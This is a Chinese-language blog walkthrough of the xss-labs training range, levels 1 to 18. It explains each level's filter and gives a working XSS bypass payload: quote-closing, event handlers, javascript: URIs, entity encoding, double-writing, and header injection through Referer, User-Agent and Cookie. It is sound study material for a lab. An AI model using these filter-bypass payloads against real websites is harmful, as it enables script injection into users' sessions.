xss-labs通关全详解

前言

我们下面进行下一个漏洞——XSS的学习,XSS是常见漏洞之一,算是Web安全入门必学漏洞。我们之前一直都以CTFHub为主线进行学习,但由于我们对常见漏洞进行强化学习的目的,CTFHub的题目并不能满足我们。为探讨清楚XSS的诸多细节,我们特以经典的xss-labs为支线进行从入门到进阶的专项训练

在做题过程中,作者把用到的知识进行了全面、详细、系统的总结,所以为了方便学习,查阅完全适配此文的总结是必不可少的(怎么可以光训练不去学习、总结呢)

作者的总结:https://blog.csdn.net/2302_81178149/article/details/142746504

XSS-labs:一款以练习测试XSS思路和命令的闯关游戏,主要是以反射型XSS漏洞为主。每关弹出弹窗即视为闯关成功。

靶场搭建参考下文:

[ 靶场环境篇 ] XSS-labs 靶场环境搭建(特别详细)_xss靶场搭建-CSDN博客

Level1

欢迎用户test?payload的长度为4?

发现URL上的GET型传参,name估计就是payload攻击的点,test长度正好为4,第一关目的应该是先test一下

构造payload

?name=<script>alert()</script>

Level2

这次是一个搜索框

直接构造payload试试

不行,看看源代码,发现value=“搜索”,需要闭合掉引号,重新构造payload

"/><script>alert()</script>

Level3

直接看页面源代码

试试闭合单引号

'/><script>alert()</script>

发现不好使

看页面源代码,果然符号被实体化了,但是htmlspecialchars函数只针对<>大于小于号进行html实体化,我们还可以利用其他方法进行xss注入

这里我们利用onfocus事件绕过

' onfocus=javascript:alert() ‘

Level4

看看前端代码

试试能不能闭合掉”/>

不好使

用focus

" onfocus=javascript:alert() "

Level5

试了试

”/><script>alert()</script><”

不好使,看看php,过滤了js的标签还有onfocus事件,虽然str_replace不区分大小写,但是有小写字母转化函数,所以就不能用大小写法来绕过过滤了,只能新找一个方法进行xss注入

这里我们用a href标签法

"/><a href=javascript:alert()>a-alert</a><"

点击我们写的a-alert

Level6

简单尝试发现不好使

这关过滤掉了on,src,href,data,但是没有添加小写转化函数 ,导致能用大写绕过

"/><ScRipt>alert()</ScriPt>

Level7

不难发现,这里面进行了小写转化,将检测出来的on,script,href给删掉了

但是没有关系,我们可以利用双拼写来绕过。

    比如on,我们可以写成oonn,当中间on被删掉的时候,就变成了on

比如script,可以写成scscriptipt,当script被删掉的时候,就变成了script

甚至可以在外面一层进行大小写绕过,比如下面

"/><SCRscriptIPT>alert()</SCRscriptIPT><"

Level8

试了试老方法,不太行

可以发现,input标签添加了html实体转化函数还把双引号也给实体化了, 添加了小写转化函数,还有过滤掉了src、data、onfocus、href、script、"(双引号),难搞哦,看一下这关的源码

但是我们能利用href的隐藏属性自动Unicode解码,我们可以插入一段js伪协议

在线Unicode编码:在线Unicode编码解码 - 码工具

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;

复制后添加友情链接,然后点击友情链接

Level9

试试上一关的方法

竟然没插入成功

这里呢,当false===false的时候(就是传入的值没有http://)就会执行if

为了防止false===false,我们需要向传入的值里面添加http://,而且要用注释符注释掉,否则会执行不了、无法弹窗,让函数strpos返回一个数字,构造payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;/* http:// */

Level10

简单试了试,没有效果

看源码,原来还有其他隐藏的参数传递,下次就一个个测,这里是get传参t_sort,并过滤掉了<>号,不能闭合插入标签

所以我们用onfocus事件,因为这里输入框被隐藏了,需要添加type="text",构造payload

?t_sort=" onfocus=javascript:alert() type="text

(点击空边框即可下一关)

看一下前端代码,完美闭合

Level11

<input>标签有四个值,都做了隐藏处理,

不难看出,第四个名为t_ref的<input>标签是http头referer的参数

(HTTP Referer是header的一部分,当浏览器向web服务器发送请求的时候,一般会带上Referer,告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。咱们是从level10.php来的)

咱们在referer上试试,用bp抓包一下,试一下测试代码

Referer:

" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

放包,发现过滤了<>

那就用上一题的payload

" onfocus=javascript:alert() type="text

点击空边框

Level12

看一下前端代码,

t-ua肯定是User-Agent头了

再用burpsuite抓包一下,将User-Agent头修改为我们的测试代码

" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

还是过滤<>

直接套用上题的payload

" onfocus=javascript:alert() type="text

Level13

t_cook应该是cookie

看看cookie,确实如此

还是试试测试代码,

" sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

发现过滤了<>

直接套用上题的payload

" onfocus=javascript:alert() type="text

Level14

这一关我们似乎访问不了,一直加载不出来

查看源码通过iframe标签引入了一个http://exofvoewer.org

这题本来是利用转跳到的网站,在那网站去上传一个属性里面含有xss代码的图片,以达到弹窗的效果,可以参考这篇文章。

【巨人肩膀上的矮子】XSS挑战之旅---游戏通关攻略(更新至18关) - 先知社区

这篇文章里面的wooyun也已经闭站了,大家有兴趣可与去搜搜这个wooyun(乌云网),看完感觉有些感慨。

这关主要涉及的漏洞是exif xss漏洞。exif是可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据

我们可以在网上随便下载一个带有exif的图片,然后按下面步骤制作图片xss。当然可能大家想做的图片可能没有exif,这里作者制作了一个脚本,可以给没有exif的图片加上exif

(需要下载两个Python包:

  1. Pillow:这是一个用于图像处理的库,支持打开、操作和保存多种格式的图像。
  2. piexif:用于处理EXIF数据的库,能方便地读取、修改和保存EXIF信息。
pip install Pillow piexif

)。

import piexif
from PIL import Image

# 加载 JPG 图片
image_path = input("Please enter your image path:\n")
img = Image.open(image_path)

# 创建新的 EXIF 数据
exif_dict = {
    piexif.ImageIFD.ImageDescription: "新标题",
    piexif.ImageIFD.Make: "相机品牌",
    piexif.ImageIFD.Model: "相机型号",
    piexif.ImageIFD.Software: "编辑软件",
    piexif.ImageIFD.Artist: "作者名",
    piexif.ImageIFD.Copyright: "版权所有信息",
    piexif.ImageIFD.DateTime: "2024:10:01 12:00:00",
}

# 将字典转换为二进制 EXIF 数据
exif_bytes = piexif.dump(exif_dict)

# 保存带有 EXIF 数据的图片
img.save("output_image.jpg", exif=exif_bytes)

print("EXIF 信息已成功添加!")

我们右键图片选择属性,点击详细信息就可以看到exif的相关属性。

我们可以在这些属性里面添加XSS代码,然后上传图片实现弹窗。

由于目标URL无法访问我们也无法上传图片。

根据大佬写的这关的PAYLOAD,并结合fuzzDicts-master中的XSS PAYLOAD:

因为iframe是内嵌对象,所以可以通过内嵌对象中的内容,通过XSS获取到相关信息。

Level15

可以看到这儿有个陌生的东西ng-include。

使用了ng-include这个表达式的意思是当HTML代码过于复杂时,可以将部分代码打包成独立文件,在使用ng-include来引用这个独立的HTML文件。

ng-include 指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点,ng-include 属性的值可以是一个表达式,返回一个文件名,默认情况下,包含的文件需要包含在同一个域名下。

我们先试试看ng-include,看看包涵第一关是怎样的

?src='level1.php'

发现两关合二为一了(如下)

先测试一下过滤了啥

?src=" ' sRc DaTa OnFocus <sCriPt> <a hReF=javascript:alert()> &#106;

发现这里进行了实体转义,所以在本关进行xss有些困难,好在并没有删除<>等符号,实体转义后在别的关卡还是好使的。

所以可以随便包涵之前的一关并对其传参,以达到弹窗的效果

注意,这里不能包涵那些直接弹窗的东西如<script>,比如?src='level1.php?name=<script>alert()</script>',但是可以包涵那些标签的东西比如<a>、<input>、<img>、<p>标签等等,这些标签是能需要我们手动点击弹窗的,构造正确的payload:

?src='level1.php?name=<img src=XXX onmouseover=alert()>'

Level16

test插入到了center标签中,所以这里就不用闭合了,老规矩,先测试一波关键字

?keyword=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P</> <sCriPt> <a hReF=javascript:alert()> &#106;

对比发现,这里先是将字母小写化了,再把script和/替换成空格,最后将空格给实体化

空格可以用回车来代替绕过,回车的url编码是%0a,再配合上不用/的<img>、<details>、<svg>等标签

?keyword=<svg%0Aonload=alert()>

Level17

没发现什么有用的,传了两个参数

先测测关键字吧

?arg01=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>; &arg02=" ' sRc DaTa OnFocus OnmOuseOver OnMouseDoWn P <sCriPt> <a hReF=javascript:alert()>;

对比发现,虽然加了该死的html转义,但是这里不需要闭合符号,传入的参数都出现在了embed标签上,打开后缀名为swf的文件(FLASH插件的文件,现在很多浏览器都不支持FLASH插件了)

我们来看看embed标签是啥

embed标签可以理解为定义了一个区域,可以放图片、视频、音频等内容,但是呢相对于他们,embed标签打开不了文件的时候就会没有显示的区域在,他们就能有块错误的区域

再看一下onfocus和onclick事件,这两事件是等价的,都是一触即发

支持的标签范围还广,也就是支持embed标签 ,这里呢我们可以尝试插入该标签

再看一下onmouse系列的事件

跟onfocus事件支持的标签一样 。

所以,这题的解法很简单,首先得用一个支持flash插件的浏览器打开本关(打开后会有个图片出来的,不支持flash插件浏览器就没有)。

Flash我们都用过的,记得那时候和小伙伴一起玩的火柴人、冰火人、疯狂小人战斗、还有最经典的拳皇等等等等,那时候浏览器无需下载flash就可以直接运行。

但是随着HTML5、WebGL 以及 WebAssembly的成熟,不断暴露出的安全问题,Flash还是走向了终结。微软宣布在2024年初停止对Adobe Flash Playe的支持,win10的下一次更新也将自动删除Flash

具体怎么在浏览器中打开flash我在firefox中尝试失败了,但在edge中尝试成功了,参考下面博客,经尝试,两种方法都可以。

如何不安装Flash玩4399小游戏等Flash游戏、视频方法 - 哔哩哔哩

下面我们对比一下是否支持flash的区别:

不支持

支持

可以发现支持的就有个embed标签的区域在,不支持的就不加载

?arg01=a&arg02= onmouseover=alert(1)

然后移动鼠标到embed标签区域

Level18

直接构造payload

?arg02= onmouseover=alert()

Level19、20

这两关关是flash xss,涉及到反编译,暂时搞不懂(以后有可能会更新),有兴趣的小伙伴们可以自己去深入学习。

参考文献

xss-labs靶场实战全通关详细过程(xss靶场详解)-CSDN博客

【巨人肩膀上的矮子】XSS挑战之旅---游戏通关攻略(更新至18关) - 先知社区

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值